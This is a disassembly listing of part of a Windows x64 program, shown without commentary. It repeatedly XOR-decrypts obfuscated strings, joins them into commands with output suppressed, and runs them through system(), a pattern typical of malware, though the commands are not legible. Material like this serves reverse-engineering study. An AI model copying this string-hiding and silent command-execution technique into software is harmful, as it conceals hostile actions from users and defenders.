cmp r8d, 0x33
jge 0x14005e861
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005e830
mov r8, rdi
lea rcx, [rbp + 0x2be0]
mov rdx, r10
call fcn.140083ca0
mov r8, rbx
lea rcx, [rbp + 0x2c00]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2c20]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2c20]
call fcn.14003a690
lea rcx, [rbp + 0x2c00]
call fcn.14003a690
lea rcx, [rbp + 0x2be0]
call fcn.14003a690
lea rcx, [rbp + 0x2bc0]
call fcn.14003a690
lea rcx, [rbp + 0x2ba0]
call fcn.14003a690
mov byte [0x141719148], 0
cmp byte [0x141719196], 0
je 0x14005ed81
mov edx, 0xa
lea rcx, [rbp + 0x2c40]
call fcn.140050ad0
mov edx, 4
lea rcx, [rbp + 0x2c60]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x40f8]
xor eax, eax
lea rcx, [rbp + 0x33]
mov byte [rbp + 0x33], al
call fcn.14007c5b0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14005ea91
mov r8d, esi
cmp r15d, 2
jl 0x14005ea53
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005e960
cmp r8d, 0x34
jge 0x14005ea91
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14005ea60
mov r8, rdi
lea rcx, [rbp + 0x2c80]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, [0x14025646c]
lea rcx, [rbp + 0x2ca0]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x2cc0]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2ce0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ce0]
call fcn.14003a690
lea rcx, [rbp + 0x2cc0]
call fcn.14003a690
lea rcx, [rbp + 0x2ca0]
call fcn.14003a690
lea rcx, [rbp + 0x2c80]
call fcn.14003a690
lea rcx, [rbp + 0x2c60]
call fcn.14003a690
lea rcx, [rbp + 0x2c40]
call fcn.14003a690
mov edx, 0xa
lea rcx, [rbp + 0x2d00]
call fcn.140050ad0
mov edx, 4
lea rcx, [rbp + 0x2d20]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x412c]
xor eax, eax
lea rcx, [rbp + 0x34]
mov byte [rbp + 0x34], al
call fcn.14007c5e0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14005ecd1
mov r8d, esi
cmp r15d, 2
jl 0x14005ec93
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005eba0
cmp r8d, 0x34
jge 0x14005ecd1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14005eca0
mov r8, rdi
lea rcx, [rbp + 0x2d40]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, [0x14025646c]
lea rcx, [rbp + 0x2d60]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x2d80]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2da0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2da0]
call fcn.14003a690
lea rcx, [rbp + 0x2d80]
call fcn.14003a690
lea rcx, [rbp + 0x2d60]
call fcn.14003a690
lea rcx, [rbp + 0x2d40]
call fcn.14003a690
lea rcx, [rbp + 0x2d20]
call fcn.14003a690
lea rcx, [rbp + 0x2d00]
call fcn.14003a690
mov byte [0x141719196], 0
xor eax, eax
lea rcx, [rbp + 0x4900]
mov byte [rbp], al
movabs rdi, 0x345d3d328cb40b7f
mov byte [rbp], al
movabs rbx, 0x1a9edca541b99752
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4900], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4908], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4910], rax
movabs rax, 0x74ffb1ce32d8e30e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4918], rax
movabs rax, 0x9e1cc8cbe05b4112
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4920], rax
movabs rax, 0x29abeb685547a739
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4928], rax
movabs rax, 0xd9f06b99957b0195
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4930], rax
movabs rax, 0x777b4514a89d9373
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4938], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4940], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4948], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4950], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4958], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4960], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4968], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4970], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4940]
vpxor ymm1, ymm0, ymmword [rbp + 0x4900]
vmovdqa ymmword [rbp + 0x4900], ymm1
mov qword [rbp + 0x4978], rax
vmovdqu ymm0, ymmword [rbp + 0x4960]
vpxor ymm1, ymm0, ymmword [rbp + 0x4920]
vmovdqa ymmword [rbp + 0x4920], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x4980]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4980], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4988], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4990], rax
movabs rax, 0x74ffb1ce32d8e30e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4998], rax
movabs rax, 0x9e1cc8cbe05b4112
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49a0], rax
movabs rax, 0x47abeb685547a739
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49a8], rax
movabs rax, 0x8de76691816023e3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49b0], rax
movabs rax, 0x777b2961aad6dd28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49b8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49c0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49c8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49d0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49d8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49e0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49e8], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49f0], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x49c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4980]
vmovdqa ymmword [rbp + 0x4980], ymm1
mov qword [rbp + 0x49f8], rax
vmovdqu ymm0, ymmword [rbp + 0x49e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x49a0]
vmovdqa ymmword [rbp + 0x49a0], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a00], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a08], rax
movabs rax, 0xab4efbaba2c5047c
lea rcx, [rbp + 0x4a00]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a10], rax
movabs rax, 0x74ffb1ce32d8e30e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a18], rax
movabs rax, 0x9e1cc8cbe05b4112
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a20], rax
movabs rax, 0x47b9eb685547a739
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a28], rax
movabs rax, 0x9dbb39cadd216987
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a30], rax
movabs rax, 0x777b290db3cd8d36
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a38], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a40], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a48], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a50], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a58], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a60], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a68], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a70], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4a40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a00]
vmovdqa ymmword [rbp + 0x4a00], ymm1
mov qword [rbp + 0x4a78], rax
vmovdqu ymm0, ymmword [rbp + 0x4a60]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a20]
vmovdqa ymmword [rbp + 0x4a20], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a80], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a88], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a90], rax
movabs rax, 0x74ffb1ce32d8e30e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a98], rax
lea rcx, [rbp + 0x4a80]
movabs rax, 0x9e1cc8cbe05b4112
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4aa0], rax
movabs rax, 0x47b0f1685547a739
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4aa8], rax
movabs rax, 0xc8fd709a93752ff2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ab0], rax
movabs rax, 0x777b290db3cd8d36
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ab8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ac0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ac8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ad0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ad8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ae0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ae8], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4af0], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4ac0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a80]
vmovdqa ymmword [rbp + 0x4a80], ymm1
mov qword [rbp + 0x4af8], rax
vmovdqu ymm0, ymmword [rbp + 0x4ae0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4aa0]
vmovdqa ymmword [rbp + 0x4aa0], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, r13d
lea rcx, [rbp + 0x2dc0]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3ff7]
xor eax, eax
lea rcx, [rbp + 0x35]
mov byte [rbp + 0x35], al
call fcn.14007c610
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005f611
mov r8d, esi
cmp r15d, 2
jl 0x14005f5d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005f4e0
cmp r8d, 0x33
jge 0x14005f611
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005f5e0
mov r8, rbx
lea rcx, [rbp + 0x2de0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.0M_PRO
lea rcx, [rbp + 0x2e00]
call fcn.140083dd0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2e20]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2e20]
call fcn.14003a690
lea rcx, [rbp + 0x2e00]
call fcn.14003a690
lea rcx, [rbp + 0x2de0]
call fcn.14003a690
lea rcx, [rbp + 0x2dc0]
call fcn.14003a690
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x2e40]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3b42]
xor eax, eax
lea rcx, [rbp + 0x36]
mov byte [rbp + 0x36], al
call fcn.14007c650
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14005f811
mov r8d, esi
cmp r15d, 2
jl 0x14005f7d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005f6e0
cmp r8d, 0x31
jge 0x14005f811
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14005f7e0
mov r8, rbx
lea rcx, [rbp + 0x2e60]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2e80]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2e80]
call fcn.14003a690
lea rcx, [rbp + 0x2e60]
call fcn.14003a690
lea rcx, [rbp + 0x2e40]
call fcn.14003a690
xor eax, eax
lea rdx, [rbp + 0x45a2]
lea rcx, [rbp + 0x37]
mov byte [rbp + 0x37], al
call fcn.14007c680
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x14005f9e1
mov r8d, esi
cmp r15d, 2
jl 0x14005f9a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14005f8b0
cmp r8d, 0x3a
jge 0x14005f9e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x14005f9b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
movabs rcx, 0x777b2961c6a3b316
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b00], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b08], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b10], rax
movabs rax, 0x74ffb1ce32d8e30e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b18], rax
movabs rax, 0x9e1cc8cbe05b4112
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b20], rax
movabs rax, 0x47b6f1685547a739
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b28], rax
movabs rax, 0xc1fc67c6d2470de6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b30], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b38], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b40], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b48], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b50], rax
movabs rax, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b58], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b60], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b68], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b70], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x4b00]
mov rax, qword [rbp + 0x10]
